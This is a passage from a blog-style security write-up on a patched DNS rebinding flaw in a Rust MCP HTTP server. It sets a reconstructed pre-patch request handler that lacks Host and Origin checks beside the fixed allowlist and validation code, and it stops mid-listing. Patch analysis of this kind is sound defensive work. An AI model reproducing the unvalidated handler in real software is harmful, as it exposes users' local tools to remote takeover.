&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwekdluzfphusiblspvv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxwekdluzfphusiblspvv.png" alt=" " width="800" height="548"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/lUuloO-oxt8" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Before the patch: what was missing
&lt;/h2&gt;

&lt;p&gt;Per the GitHub security advisory (GHSA-89vp-x53w-74fx), pre-1.4.0 versions of the Streamable HTTP server went straight from protocol-version checks (&lt;code&gt;MCP-Protocol-Version&lt;/code&gt;), session-ID lookup, and JSON-RPC parsing into request handling — &lt;strong&gt;there was no step anywhere in the pipeline that compared &lt;code&gt;Host&lt;/code&gt;/&lt;code&gt;Origin&lt;/code&gt; against anything.&lt;/strong&gt; Conceptually:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Pre-patch (conceptual reconstruction) — no Host validation step existed&lt;/span&gt;
&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BoxBody&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Infallible&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt;
    &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Body&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Send&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;'static&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nn"&gt;B&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Display&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// &amp;lt;-- nothing here checked Host / Origin&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="nf"&gt;.method&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;match&lt;/span&gt; &lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nn"&gt;Method&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;POST&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="nf"&gt;.handle_post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;Method&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;GET&lt;/span&gt;  &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="nf"&gt;.handle_get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="nn"&gt;Method&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="nf"&gt;.handle_delete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="k"&gt;.await&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="k"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="cm"&gt;/* 405 */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The server only asked "does this conform to the MCP protocol?", never "who is this request actually from?" It implicitly trusted any request that reached the loopback socket — and DNS rebinding is precisely the technique that breaks the assumption that "arrived on loopback" and "the &lt;code&gt;Host&lt;/code&gt; header names the real caller" are the same thing.&lt;/p&gt;

&lt;p&gt;Per the advisory, the blast radius is broad:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enumerate (&lt;code&gt;tools/list&lt;/code&gt;) and invoke (&lt;code&gt;tools/call&lt;/code&gt;) every tool the server exposes&lt;/li&gt;
&lt;li&gt;Read resources, prompts, and any state reachable through the session&lt;/li&gt;
&lt;li&gt;Trigger side effects the tools support: file writes, shell execution, arbitrary outbound API calls&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because MCP servers typically run with the user's own privileges and often expose developer tooling (filesystem, shell, browser automation, language servers), the practical impact can extend to full code execution on the victim's machine.&lt;/p&gt;

&lt;h2&gt;
  
  
  After the patch: reading the actual source
&lt;/h2&gt;

&lt;p&gt;The fix has three parts: ① a secure-by-default allowlist for hostnames, ② a &lt;code&gt;validate_dns_rebinding_headers&lt;/code&gt; gate that every request now passes through, and ③ optional &lt;code&gt;Origin&lt;/code&gt; validation as defense-in-depth. Let's walk through the deployed &lt;code&gt;tower.rs&lt;/code&gt; source.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) A secure default: &lt;code&gt;StreamableHttpServerConfig&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;StreamableHttpServerConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// ... session/SSE fields omitted&lt;/span&gt;

    &lt;span class="cd"&gt;/// Allowed hostnames or `host:port` authorities for inbound `Host` validation.&lt;/span&gt;
    &lt;span class="cd"&gt;///&lt;/span&gt;
    &lt;span class="cd"&gt;/// By default, Streamable HTTP servers only accept loopback hosts to&lt;/span&gt;
    &lt;span class="cd"&gt;/// prevent DNS rebinding attacks against locally running servers.&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

    &lt;span class="cd"&gt;/// Allowed browser origins for inbound `Origin` validation.&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="n"&gt;allowed_origins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;validate_empty_origin_allowlist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;Default&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;StreamableHttpServerConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;default&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="c1"&gt;// ...&lt;/span&gt;
            &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"localhost"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;"127.0.0.1"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="s"&gt;"::1"&lt;/span&gt;&lt;span class="nf"&gt;.into&lt;/span&gt;&lt;span class="p"&gt;()],&lt;/span&gt;
            &lt;span class="n"&gt;allowed_origins&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nd"&gt;vec!&lt;/span&gt;&lt;span class="p"&gt;[],&lt;/span&gt;
            &lt;span class="n"&gt;validate_empty_origin_allowlist&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
            &lt;span class="c1"&gt;// ...&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;The &lt;code&gt;Default&lt;/code&gt; impl is the load-bearing part.&lt;/strong&gt; Just calling &lt;code&gt;StreamableHttpServerConfig::default()&lt;/code&gt; — no extra configuration needed — populates &lt;code&gt;allowed_hosts&lt;/code&gt; with &lt;code&gt;localhost&lt;/code&gt;, &lt;code&gt;127.0.0.1&lt;/code&gt;, and &lt;code&gt;::1&lt;/code&gt;. That flip from "insecure by default" to "secure by default" is the design philosophy behind this patch. A developer deploying publicly has to explicitly widen it via &lt;code&gt;with_allowed_hosts(["mcp.example.com"])&lt;/code&gt;, and turning validation off entirely requires an equally explicit &lt;code&gt;disable_allowed_hosts()&lt;/code&gt; — nothing about the safe path is accidental anymore.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="n"&gt;StreamableHttpServerConfig&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;with_allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;IntoIterator&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Item&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;impl&lt;/span&gt; &lt;span class="nb"&gt;Into&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nb"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.allowed_hosts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;allowed_hosts&lt;/span&gt;&lt;span class="nf"&gt;.into_iter&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;Into&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nf"&gt;.collect&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;self&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="cd"&gt;/// Disable allowed hosts. NOT recommended for public deployments.&lt;/span&gt;
    &lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;disable_allowed_hosts&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt; &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;Self&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.allowed_hosts&lt;/span&gt;&lt;span class="nf"&gt;.clear&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
        &lt;span class="k"&gt;self&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that an empty &lt;code&gt;allowed_hosts&lt;/code&gt; vector is exactly what &lt;code&gt;host_is_allowed&lt;/code&gt; (below) treats as "allow everything," so &lt;code&gt;disable_allowed_hosts()&lt;/code&gt; is a literal opt-out of this whole protection.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Enforcement at the entry point
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;pub&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="n"&gt;handle&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;Response&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;BoxBody&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;Bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Infallible&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;where&lt;/span&gt;
    &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Body&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;Send&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="k"&gt;'static&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="nn"&gt;B&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Display&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;
        &lt;span class="nf"&gt;validate_dns_rebinding_headers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="nf"&gt;.uri&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="nf"&gt;.headers&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="k"&gt;self&lt;/span&gt;&lt;span class="py"&gt;.config&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;response&lt;/span&gt;&lt;span class="nf"&gt;.into_response&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// routing to POST/GET/DELETE only happens after this&lt;/span&gt;
    &lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Placement is the key detail here: &lt;code&gt;validate_dns_rebinding_headers&lt;/code&gt; runs at the very top of &lt;code&gt;handle()&lt;/code&gt;, ahead of both method dispatch and session lookup. A failed check returns immediately, before the server ever touches session state or parses the JSON-RPC body — shrinking the attack surface to "before the request reaches any internal logic at all."&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Parsing the &lt;code&gt;Host&lt;/code&gt; header — &lt;code&gt;parse_host_header&lt;/code&gt;
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;parse_host_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;Uri&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;HeaderMap&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;HttpResult&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nf"&gt;Some&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="nf"&gt;.get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;header&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="n"&gt;HOST&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;host_str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;
            &lt;span class="nf"&gt;.to_str&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;.map_err&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;bad_request_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bad Request: Invalid Host header encoding"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nn"&gt;http&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nn"&gt;Authority&lt;/span&gt;&lt;span class="p"&gt;::&lt;/span&gt;&lt;span class="nf"&gt;try_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nf"&gt;.map_err&lt;/span&gt;&lt;span class="p"&gt;(|&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nf"&gt;bad_request_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bad Request: Invalid Host header"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;normalize_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.host&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.port_u16&lt;/span&gt;&lt;span class="p"&gt;()));&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;// HTTP/2 carries the target in the :authority pseudo-header instead.&lt;/span&gt;
    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="nf"&gt;.authority&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="nf"&gt;.ok_or_else&lt;/span&gt;&lt;span class="p"&gt;(||&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;bad_request_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Bad Request: missing Host header"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nf"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;normalize_authority&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.host&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;authority&lt;/span&gt;&lt;span class="nf"&gt;.port_u16&lt;/span&gt;&lt;span class="p"&gt;()))&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The HTTP/2 fallback matters. HTTP/1.1 names the target via the &lt;code&gt;Host:&lt;/code&gt; header, but HTTP/2 replaces it with the &lt;code&gt;:authority&lt;/code&gt; pseudo-header on the request line, and some middleware (e.g. &lt;code&gt;axum::Router::nest&lt;/code&gt;) can strip the &lt;code&gt;Host&lt;/code&gt; header hyper synthesizes from it during routing. So instead of "no &lt;code&gt;Host&lt;/code&gt; header ⇒ allow," the code falls back to the URI's authority — meaning a missing header still gets checked against something, never silently skipped.&lt;/p&gt;

&lt;h3&gt;
  
  
  4) Normalizing the host — case and IPv6 brackets
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight rust"&gt;&lt;code&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;normalize_host&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;String&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="nf"&gt;.trim_matches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;'['&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.trim_matches&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sc"&gt;']'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;.to_ascii_lowercase&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;struct&lt;/span&gt; &lt;span class="n"&gt;NormalizedAuthority&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
